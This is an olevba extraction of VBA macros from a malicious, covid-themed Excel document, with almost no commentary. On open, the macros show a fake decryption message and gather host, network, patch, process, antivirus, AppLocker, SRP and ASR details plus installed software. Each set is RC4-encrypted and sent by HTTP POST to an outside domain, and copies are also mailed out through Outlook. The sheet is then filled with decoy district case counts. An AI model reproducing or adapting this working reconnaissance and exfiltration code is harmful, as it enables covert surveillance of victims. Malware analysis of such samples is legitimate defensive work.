Recon maldoc

547e34240e1fed85db1fb3a7e2a528290eb7ec5c64257b10fe6e2fc0654e3bc2

olevba 0.55.1 on Python 3.8.3 - http://decalage.info/python/oletools
===============================================================================
FILE: 547e34240e1fed85db1fb3a7e2a528290eb7ec5c64257b10fe6e2fc0654e3bc2
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: 547e34240e1fed85db1fb3a7e2a528290eb7ec5c64257b10fe6e2fc0654e3bc2 - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public RUNNING As Boolean

Sub Auto_Open()
    Call Recipe
End Sub

Private Sub Workbook_Open()
    Call Recipe
End Sub

Private Sub Recipe()
    If RUNNING = True Then
        Exit Sub
    End If
    RUNNING = True
    
    Dim sys, ip, kb, soft, proc, sec, app, srp

    MsgBox ("Déchiffrement des informations en cours, merci de patienter quelques instants.")
    
    sys = GetSystemInfo() & vbCrLf
    rc4 = RunRC4(sys, "Im on the highway to hell")
    Call sendHttp(rc4)
    
    ip = GetIPAddress() & vbCrLf
    rc4 = RunRC4(ip, "Im on the highway to hell")
    Call sendHttp(rc4)
    
    kb = GetHotFix() & vbCrLf
    rc4 = RunRC4(kb, "Im on the highway to hell")
    Call sendHttp(rc4)
    
    proc = GetProcess() & vbCrLf
    rc4 = RunRC4(proc, "Im on the highway to hell")
    Call sendHttp(rc4)
    
    sec = GetSecurityProduct() & vbCrLf
    rc4 = RunRC4(sec, "Im on the highway to hell")
    Call sendHttp(rc4)
    
    app = GetApplockerPolicies() & vbCrLf
    rc4 = RunRC4(app, "Im on the highway to hell")
    Call sendHttp(rc4)
    
    srp = GetSrp() & vbCrLf
    rc4 = RunRC4(srp, "Im on the highway to hell")
    Call sendHttp(rc4)
    
    asr = GetASR() & vbCrLf
    rc4 = RunRC4(asr, "Im on the highway to hell")
    Call sendHttp(rc4)
    
    rc4 = RunRC4(sys & ip & kb & proc & sec & app & srp & asr, "Im on the highway to hell")
    Call sendM("Subject", "contact@ars-covid19.fr", rc4)
    
    soft = GetSoftware() & vbCrLf
    rc4 = RunRC4(soft, "Im on the highway to hell")
    Call sendHttp(rc4)
    Call sendM("Subject", "contact@ars-covid19.fr", rc4)
    
    Call directHTTP("Hi there")
    Call DisplayInformation
End Sub

Function GetSystemInfo()
    Const HKLM = &H80000002
    Dim hostinfo As String
    Dim vLang, v, i
    
    hostinfo = "computer: " & Environ$("computername")
    hostinfo = hostinfo & ", os: " & Application.OperatingSystem
    hostinfo = hostinfo & ", username: " & Environ$("username")
    hostinfo = hostinfo & ", domain: " & Environ$("userdomain")
    hostinfo = hostinfo & ", dns: " & Environ$("userdnsdomain")
    
    Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")
    Set v = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
    
    If (Not (IsNull(v))) Then
        For Each i In v
            hostinfo = hostinfo & "family: " & i.systemFamily & ", type: " & i.systemType & ", time: " & i.CurrentTimezone
        Next
    End If
    
    Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
    
    vLang = readkeystr(reg, HKLM, "SYSTEM\\ControlSet001\\Control\\Nls\\Language", "InstallLanguage")
    hostinfo = hostinfo & ", language: " & vLang & vbCrLf
    
    GetSystemInfo = hostinfo
End Function

Function GetIPAddress()
    Dim objWMIService, IPConfigSet, IPConfig, IPAddress, i
    Dim sNetwork As String

    Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")
    Set IPConfigSet = objWMIService.ExecQuery _
        ("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")

    For Each i In IPConfigSet
        sNetwork = sNetwork & "Description: " & i.Description & ", " & vbCrLf
        sNetwork = sNetwork & "MAC: " & i.MACAddress & ", " & vbCrLf
        sNetwork = sNetwork & "IP: " & GetMultiString_FromArray(i.IPAddress, ", ") & ", " & vbCrLf
        sNetwork = sNetwork & "Subnet: " & GetMultiString_FromArray(i.IPSubnet, ", ") & ", " & vbCrLf
        sNetwork = sNetwork & "DNS: " & GetMultiString_FromArray(i.DNSServerSearchOrder, ", ") & ", " & vbCrLf
        sNetwork = sNetwork & "DHCP: " & i.DHCPEnabled & ", " & vbCrLf
        sNetwork = sNetwork & "Default Gateway: " & GetMultiString_FromArray(i.DefaultIPGateway, ", ") & ", " & vbCrLf
        sNetwork = sNetwork & vbCrLf
    Next

    GetIPAddress = sNetwork
End Function

Function GetHotFix()
    Dim objWMIService, i
    Dim sHotFix As String

    Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")

    Set colQuickFixes = objWMIService.ExecQuery _
        ("Select * from Win32_QuickFixEngineering")

    For Each i In colQuickFixes
        sHotFix = sHotFix & "Computer: " & i.CSName & ", " & vbCrLf
        sHotFix = sHotFix & "Description: " & i.Description & ", " & vbCrLf
        sHotFix = sHotFix & "Hot Fix ID: " & i.HotFixID & ", " & vbCrLf
        sHotFix = sHotFix & "Installed By: " & i.InstalledBy & ", " & vbCrLf
        sHotFix = sHotFix & vbCrLf
    Next
    
    GetHotFix = sHotFix
End Function

Function GetSoftware()
    Const HKCU = &H80000001
    Const HKLM = &H80000002
    Dim objWMIService, i, j, v1, v2
    Dim sSoftware As String

    Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")
    Set colSoftware = objWMIService.ExecQuery _
        ("Select * from Win32_Product")

    If colSoftware.Count > 0 Then
        For Each i In colSoftware
            sSoftware = sSoftware & i.Caption & vbTab & i.Version & vbCrLf
        Next
    End If
    
    Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
    v1 = readsubkeys(reg, HKLM, "SOFTWARE\\")
    If (Not (IsNull(v1))) Then
        For Each i In v1
            key = "SOFTWARE\\" & i
            v2 = readsubkeys(reg, HKLM, "SOFTWARE\\" & i)
            sSoftware = sSoftware & "[" & i & "] "
            sSoftware = sSoftware & " " & readkeystr(reg, HKLM, key, "CurrentVersion") & " "
            sSoftware = sSoftware & " " & readkeystr(reg, HKLM, key, "Version") & " "
            If (Not (IsNull(v2))) Then
                For Each j In v2
                    key = key & "\\" & j
                    sSoftware = sSoftware & i & " - " & j & vbCrLf
                    sSoftware = sSoftware & " " & readkeystr(reg, HKLM, key, "CurrentVersion") & " "
                    sSoftware = sSoftware & " " & readkeystr(reg, HKLM, key, "Version") & " "
                Next
            End If
            sSoftware = sSoftware & vbCrLf
        Next
    End If
    
    v1 = readsubkeys(reg, HKCU, "SOFTWARE\\")
    If (Not (IsNull(v1))) Then
        For Each i In v1
            key = "SOFTWARE\\" & i
            v2 = readsubkeys(reg, HKCU, "SOFTWARE\\" & i)
            sSoftware = sSoftware & "[" & i & "] "
            sSoftware = sSoftware & " " & readkeystr(reg, HKCU, key, "CurrentVersion") & " "
            sSoftware = sSoftware & " " & readkeystr(reg, HKCU, key, "Version") & " "
            If (Not (IsNull(v2))) Then
                For Each j In v2
                    key = key & "\\" & j
                    sSoftware = sSoftware & i & " - " & j & vbCrLf
                    sSoftware = sSoftware & " " & readkeystr(reg, HKCU, key, "CurrentVersion") & " "
                    sSoftware = sSoftware & " " & readkeystr(reg, HKCU, key, "Version") & " "
                Next
            End If
            sSoftware = sSoftware & vbCrLf
        Next
    End If
    
    GetSoftware = sSoftware
End Function

Function GetProcess()
    Dim objWMIService, i, proc
        
    Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")

    Set v = objWMIService.ExecQuery("Select * from Win32_Process")
    For Each i In v
        proc = proc & i.Caption & " [" & i.ProcessId & "] " & i.ExecutablePath & " - " & i.Description & " - " & i.CSName & vbCrLf
        proc = proc & "  " & i.CommandLine & vbCrLf
    Next
    
    GetProcess = proc
End Function

Function GetSecurityProduct()
    Dim objWMIService, i, v
    Dim str As String
        
    Set objWMIService = GetObject("winmgmts:\\\\.\\root\\SecurityCenter")

    Set v = objWMIService.ExecQuery("Select * from AntiVirusProduct")
    If (Not (IsNull(v))) Then
        For Each i In v
            str = str & i.DisplayName & " [" & i.companyName & "] " & i.versionNumber & vbCrLf
        Next
    End If
    
    Set v = objWMIService.ExecQuery("Select * from FirewallProduct")
    If (Not (IsNull(v))) Then
        For Each i In v
            str = str & i.DisplayName & " [" & i.companyName & "] " & i.versionNumber & vbCrLf
        Next
    End If
    
    GetSecurityProduct = str
End Function

Function GetApplockerPolicies()
    Const HKCU = &H80000001
    Const HKLM = &H80000002
    Dim v, pol, it
    Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
    
    ' ---- HKLM ----
    vLMExe = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe")
    vLMScript = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script")
    vLMDll = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll")
    vLMMsi = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi")
    vLMAppx = readsubkeys(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx")
    ' ---- HKCU ----
    vCUExe = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe")
    vCUScript = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script")
    vCUDll = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll")
    vCUMsi = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi")
    vCUAppx = readsubkeys(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx")
    
    pol = "---- HKLM ----" & vbCrLf
    If (Not (IsNull(vLMExe))) Then
        pol = pol & "[Exe] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe", "EnforcementMode") & vbCrLf
        For Each it In vLMExe
            pol = pol & "[Exe] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe\\" & it, "Value") & vbCrLf
        Next
    End If
    
    If (Not (IsNull(vLMScript))) Then
        pol = pol & "[Script] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script", "EnforcementMode") & vbCrLf
        For Each it In vLMScript
            pol = pol & "[Script] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script\\" & it, "Value") & vbCrLf
        Next
    End If
    
    If (Not (IsNull(vLMDll))) Then
        pol = pol & "[DLL] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll", "EnforcementMode") & vbCrLf
        For Each it In vLMDll
            pol = pol & "[DLL] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll\\" & it, "Value") & vbCrLf
        Next
    End If
    
    If (Not (IsNull(vLMMsi))) Then
        pol = pol & "[MSI] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi", "EnforcementMode") & vbCrLf
        For Each it In vLMMsi
            pol = pol & "[MSI] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi\\" & it, "Value") & vbCrLf
        Next
    End If
    
    If (Not (IsNull(vLMAppx))) Then
        pol = pol & "[App] EnforcementMode: " & readkeydword(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx", "EnforcementMode") & vbCrLf
        For Each it In vLMAppx
            pol = pol & "[App] " & readkeystr(reg, HKLM, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx\\" & it, "Value") & vbCrLf
        Next
    End If
    
    
    pol = pol & "---- HKCU ----" & vbCrLf
    If (Not (IsNull(vCUExe))) Then
        pol = pol & "[Exe] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe", "EnforcementMode") & vbCrLf
        For Each it In vCUExe
            pol = pol & "[Exe] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Exe\\" & it, "Value") & vbCrLf
        Next
    End If
    
    If (Not (IsNull(vCUScript))) Then
        pol = pol & "[Script] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script", "EnforcementMode") & vbCrLf
        For Each it In vCUScript
            pol = pol & "[Script] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Script\\" & it, "Value") & vbCrLf
        Next
    End If
    
    If (Not (IsNull(vCUDll))) Then
        pol = pol & "[DLL] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll", "EnforcementMode") & vbCrLf
        For Each it In vCUDll
            pol = pol & "[DLL] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Dll\\" & it, "Value") & vbCrLf
        Next
    End If
    
    If (Not (IsNull(vCUMsi))) Then
        pol = pol & "[MSI] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi", "EnforcementMode") & vbCrLf
        For Each it In vCUMsi
            pol = pol & "[MSI] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Msi\\" & it, "Value") & vbCrLf
        Next
    End If
    
    If (Not (IsNull(vCUAppx))) Then
        pol = pol & "[App] EnforcementMode: " & readkeydword(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx", "EnforcementMode") & vbCrLf
        For Each it In vCUAppx
            pol = pol & "[App] " & readkeystr(reg, HKCU, "SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2\\Appx\\" & it, "Value") & vbCrLf
        Next
    End If

    GetApplockerPolicies = pol
End Function

Function GetSrp()
    Const HKCU = &H80000001
    Const HKLM = &H80000002
    Dim vLMSafer, vLevel, vType, it, srp, iter, iterative
    
    Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
    rootKey = "SOFTWARE\\Policies\\Microsoft\\Windows\\Safer\\CodeIdentifiers"
    
    v = readkeydword(reg, HKLM, rootKey, "defaultlevel")
    If (v = 0) Then
        srp = "Disallowed" & vbCrLf
    Else
        srp = "Unrestricted" & vbCrLf
    End If
    
    v = readkeydword(reg, HKLM, rootKey, "policyscope")
    If (v = 0) Then
        srp = srp & "All users" & vbCrLf
    Else
        srp = srp & "Basic users only" & vbCrLf
    End If
    
    v = readkeydword(reg, HKLM, rootKey, "transparentenabled")
    If (v = 2) Then
        srp = srp & "All software, including DLL" & vbCrLf
    Else
        srp = srp & "All software, but the DLL" & vbCrLf
    End If
    
    v = readkeymulti(reg, HKLM, "software\\policies\\microsoft\\windows\\safer\\codeidentifiers", "executabletypes")
    For Each j In v
        srp = srp & j & " "
    Next
    srp = srp & vbCrLf
    
    vLMSafer = readsubkeys(reg, HKLM, rootKey)
    If (Not (IsNull(vLMSafer))) Then
        For Each it In vLMSafer
        key = rootKey & "\\" & it
            vLevel = readsubkeys(reg, HKLM, key)
            If (Not (IsNull(vLevel))) Then
                For Each iter In vLevel
                    key = rootKey & "\\" & it & "\\" & iter
                    vType = readsubkeys(reg, HKLM, key)
                    If (Not (IsNull(vType))) Then
                        For Each iterative In vType
                            key = rootKey & "\\" & it & "\\" & iter & "\\" & iterative
                            srp = srp & "---- " & key & " ----" & vbCrLf
                            srp = srp & "[ItemData]" & readkeydword(reg, HKLM, key, "ItemData") & vbCrLf
                            srp = srp & "[ItemData]" & readkeystr(reg, HKLM, key, "ItemData") & vbCrLf
                            srp = srp & "[SaferFlag]" & readkeydword(reg, HKLM, key, "SaferFlag") & vbCrLf
                            srp = srp & "[Description]" & readkeystr(reg, HKLM, key, "Description") & vbCrLf
                            srp = srp & "[FriendlyName]" & readkeystr(reg, HKLM, key, "FriendlyName") & vbCrLf
                        Next
                    End If
                Next
            End If
        Next
    End If
    
    GetSrp = srp
End Function

Function GetASR()
    Const HKCU = &H80000001
    Const HKLM = &H80000002
    Dim v, pol, it
    Dim key As String
    key = "SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Windows Defender Exploit Guard\\ASR\\"
    Set reg = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\\\.\\root\\default:StdRegProv")
    
    vValues = readsubvalues(reg, HKLM, key & "Rules")
    If (Not (IsNull(vValues))) Then
        For Each i In vValues
            asr = asr & readkeystr(reg, HKLM, key & "Rules", i) & vbCrLf
        Next
    End If
    
    vValues = readsubvalues(reg, HKLM, key & "ASROnlyExclusions")
    If (Not (IsNull(vValues))) Then
        For Each i In vValues
            asr = asr & readkeystr(reg, HKLM, key & "ASROnlyExclusions", i) & vbCrLf
        Next
    End If
    
    GetASR = asr
End Function

Sub directHTTP(ByVal Body As String)
    On Error Resume Next
    Dim WHTTP As WinHttp.WinHttpRequest
    Set WHTTP = New WinHttp.WinHttpRequest
    
    WHTTP.Open "POST", "https://noreply.ars-covid19.fr", False
    WHTTP.SetProxy 1
    WHTTP.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
    WHTTP.Send (Body)
End Sub

Public Function SplitString(ByVal str As String, ByVal numOfChar As Long) As String()
    Dim sArr() As String
    Dim nCount As Long
    Dim X As Long
    X = Len(str) \\ numOfChar
    If X * numOfChar = Len(str) Then
         ReDim sArr(1 To X)
    Else
         ReDim sArr(1 To X + 1)
    End If
    For X = 1 To Len(str) Step numOfChar
        nCount = nCount + 1
        sArr(nCount) = Mid$(str, X, numOfChar)
    Next
    SplitString = sArr
    
End Function

Sub sendHttp(ByVal Body As String)
    On Error Resume Next
    ReDim splitedBody(1 To Len(Body) / 5000 + 1) As String
    splitedBody = SplitString(Body, 5000)
    Dim WHTTP As WinHttp.WinHttpRequest
    Set WHTTP = New WinHttp.WinHttpRequest
    
    WHTTP.Open "POST", "https://ars-covid19.fr/resources", False
    WHTTP.SetRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
    For i = 1 To UBound(splitedBody)
        WHTTP.Send (splitedBody(i))
    Next i
    
End Sub

Sub sendM(ByVal Sujet As String, ByVal Dest As String, ByVal Bod As String, Optional ByVal Att As String)
    On Error Resume Next
    Dim oOutlook As Outlook.Application
    Dim oMailItem As Outlook.MailItem
    Dim Body As Variant

    Body = Bod
    If (Body = False) Then
        Exit Sub
    End If
    
    openOutlook oOutlook
    Set oMailItem = oOutlook.CreateItem(0)
    
    With oMailItem
        .To = Dest
        .Subject = Sujet
        .Body = Body
        If Att <> "" Then .Attachments.Add Att
       .Send
    End With

    If (Not (oMailItem Is Nothing)) Then Set oMailItem = Nothing
    If (Not (oOutlook Is Nothing)) Then Set oOutlook = Nothing
    
   Exit Sub

End Sub

Private Sub openOutlook(ByRef oOutlook As Object)
On Error Resume Next
    Set oOutlook = GetObject(, "Outlook.Application")
    If (Err.Number <> 0) Then
        Err.Clear
        Set oOutlook = CreateObject("Outlook.Application")
        
        If (Err.Number <> 0) Then
            Exit Sub
        Else
        End If
    Else
    End If
End Sub

Function GetMultiString_FromArray(ArrayString, Seprator)
    If IsNull(ArrayString) Then
        StrMultiArray = ArrayString
    Else
        StrMultiArray = Join(ArrayString, Seprator)
   End If
   GetMultiString_FromArray = StrMultiArray
End Function

Function readkeydword(reg, hive, key, value)
  Dim data, ret
  ret = reg.GetDWORDValue(hive, key, value, data)
    If (ret <> 0) Then
        readkeydword = -1
    Else
        readkeydword = data
    End If
End Function

Function hivetostr(hive)
    Const HKCU = &H80000001
    Const HKLM = &H80000002
    Select Case hive
        Case HKCU
            hivetostr = "HKCU\\"
        Case HKLM
          hivetostr = "HKLM\\"
    End Select
End Function

Function readkeybin(reg, hive, key, value, ByRef res)
  Dim data, ret, i, str
  ret = reg.GetBinaryValue(hive, key, value, data)
  If (ret <> 0) Then
    res = 0
    readkeybin = -1
  Else
    str = ""
    For i = LBound(data) To UBound(data)
      str = str & " " & data(i)
    Next
    readkeybin = data
    res = 1
 End If
End Function

Function readkeystr(reg, hive, key, value)
  Dim data, ret
  ret = reg.GetStringValue(hive, key, value, data)
    If (ret <> 0) Then
        readkeystr = "nop"
    Else
      data = "  [" & hivetostr(hive) & key & "\\" & value & "] = " & data
    readkeystr = data
    End If
End Function

Function readkeyexpstr(reg, hive, key, value)
  Dim data, ret
  ret = reg.GetExpandedStringValue(hive, key, value, data)
    If (ret <> 0) Then
        readkeystr = "DoesNotExist"
    Else
        data = "  [" & hivetostr(hive) & key & "\\" & value & "] = " & data
        readkeystr = data
    End If
End Function

Function readkeymulti(reg, hive, key, value)
  Dim data, s, v, ret
  ret = reg.GetMultiStringValue(hive, key, value, data)
  If (ret <> 0) Or (Err.Number <> 0) Then
        readkeymulti = Array("DoesNotExist")
  Else
        s = ""
    For Each v In data
      s = s & v & ", "
    Next
    readkeymulti = data
    End If
End Function

Function readsubvalues(reg, hive, key)
    Dim ret, vValues, vTypes
    ret = reg.EnumValues(hive, key, vValues, vTypes)
    If (ret <> 0) Or (Err.Number <> 0) Then
        readsubvalues = Array()
    Else
        readsubvalues = vValues
    End If
End Function

Function readsubkeys(reg, hive, key)
    Dim ret, data
    ret = reg.Enumkey(hive, key, data)
    If (ret <> 0) Or (Err.Number <> 0) Then
        readsubkeys = Array()
    Else
        readsubkeys = data
    End If
End Function


Function RunRC4(sMessage, strKey)
    Dim kLen, X, y, i, j, temp
    Dim s(256), k(256)
 
    kLen = Len(strKey)
    For i = 0 To 255
        s(i) = i
        k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
    Next
 
    j = 0
    For i = 0 To 255
        j = (j + k(i) + s(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
        s(j) = temp
    Next
 
 
    X = 0
    y = 0
    For i = 1 To 4096
        X = (X + 1) Mod 256
        y = (y + s(X)) Mod 256
        temp = s(X)
        s(X) = s(y)
        s(y) = temp
    Next
 
    For i = 1 To Len(sMessage)
        X = (X + 1) Mod 256
        y = (y + s(X)) Mod 256
        temp = s(X)
        s(X) = s(y)
        s(y) = temp
 
        RunRC4 = RunRC4 & (s((s(X) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
    Next
    RunRC4 = RunRC4 & "#END#"
End Function
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: 547e34240e1fed85db1fb3a7e2a528290eb7ec5c64257b10fe6e2fc0654e3bc2 - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: 547e34240e1fed85db1fb3a7e2a528290eb7ec5c64257b10fe6e2fc0654e3bc2 - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub DisplayInformation()
Attribute DisplayInformation.VB_ProcData.VB_Invoke_Func = " \\n14"
    '
    ' DisplayInformation Macro
    '
    
    '
    Range("B7").Select
    ActiveCell.FormulaR1C1 = "Paris, XVème"
    Range("B8").Select
    ActiveCell.FormulaR1C1 = "Paris, XVème"
    Range("B9").Select
    ActiveCell.FormulaR1C1 = "Paris, XVIIème"
    Range("B10").Select
    ActiveCell.FormulaR1C1 = "Paris, XVIIème"
    Range("B11").Select
    ActiveCell.FormulaR1C1 = "Paris, XVIIIème"
    Range("B12").Select
    ActiveCell.FormulaR1C1 = "Paris, XVIIIème"
    Range("B13").Select
    ActiveCell.FormulaR1C1 = "Paris, XXème"
    Range("B14").Select
    ActiveCell.FormulaR1C1 = "Créteil"
    Range("B15").Select
    ActiveCell.FormulaR1C1 = "Créteil"
    Range("B16").Select
    ActiveCell.FormulaR1C1 = "Sarcelles"
    Range("B17").Select
    ActiveCell.FormulaR1C1 = "Saint Maur des Fossés"
    Range("B18").Select
    ActiveCell.FormulaR1C1 = "Trappes"
    Range("B19").Select
    ActiveCell.FormulaR1C1 = "Meaux"
    Range("B20").Select
    ActiveCell.FormulaR1C1 = "Bobigny"
    
    
    Range("C7").Select
    ActiveCell.FormulaR1C1 = "Necker"
    Range("C8").Select
    ActiveCell.FormulaR1C1 = "Saint-Lambert"
    Range("C9").Select
    ActiveCell.FormulaR1C1 = "Quartier des Epinettes"
    Range("C10").Select
    ActiveCell.FormulaR1C1 = "Batignolles"
    Range("C11").Select
    ActiveCell.FormulaR1C1 = "Grandes Carrières"
    Range("C12").Select
    ActiveCell.FormulaR1C1 = "La Chapelle"
    Range("C13").Select
    ActiveCell.FormulaR1C1 = "Saint-Fargeau"
    Range("C14").Select
    ActiveCell.FormulaR1C1 = "Champeval"
    Range("C15").Select
    ActiveCell.FormulaR1C1 = "L'échat"
    Range("C16").Select
    ActiveCell.FormulaR1C1 = "Le village"
    Range("C17").Select
    ActiveCell.FormulaR1C1 = "Champignol"
    Range("C18").Select
    ActiveCell.FormulaR1C1 = "Jean-Macé"
    Range("C19").Select
    ActiveCell.FormulaR1C1 = "Beauval"
    Range("C20").Select
    ActiveCell.FormulaR1C1 = "Les vignes"
    
    
    Range("D7").Select
    ActiveCell.FormulaR1C1 = "35"
    Range("D8").Select
    ActiveCell.FormulaR1C1 = "10"
    Range("D9").Select
    ActiveCell.FormulaR1C1 = "34"
    Range("D10").Select
    ActiveCell.FormulaR1C1 = "78"
    Range("D11").Select
    ActiveCell.FormulaR1C1 = "56"
    Range("D12").Select
    ActiveCell.FormulaR1C1 = "19"
    Range("D13").Select
    ActiveCell.FormulaR1C1 = "17"
    Range("D14").Select
    ActiveCell.FormulaR1C1 = "36"
    Range("D15").Select
    ActiveCell.FormulaR1C1 = "19"
    Range("D16").Select
    ActiveCell.FormulaR1C1 = "76"
    Range("D17").Select
    ActiveCell.FormulaR1C1 = "10"
    Range("D18").Select
    ActiveCell.FormulaR1C1 = "17"
    Range("D19").Select
    ActiveCell.FormulaR1C1 = "29"
    Range("D20").Select
    ActiveCell.FormulaR1C1 = "27"


    ActiveSheet.Shapes.Range(Array("Picture 3")).Select
    ActiveSheet.Shapes.Range(Array("Rectangle 1", "Picture 3")).Select
    ActiveSheet.Shapes.Range(Array("Rectangle 1", "Picture 3", "TextBox 2")). _
        Select
    ActiveSheet.Shapes.Range(Array("Rectangle 1", "Picture 3", "TextBox 2", _
        "TextBox 4")).Select
    Selection.Delete
End Sub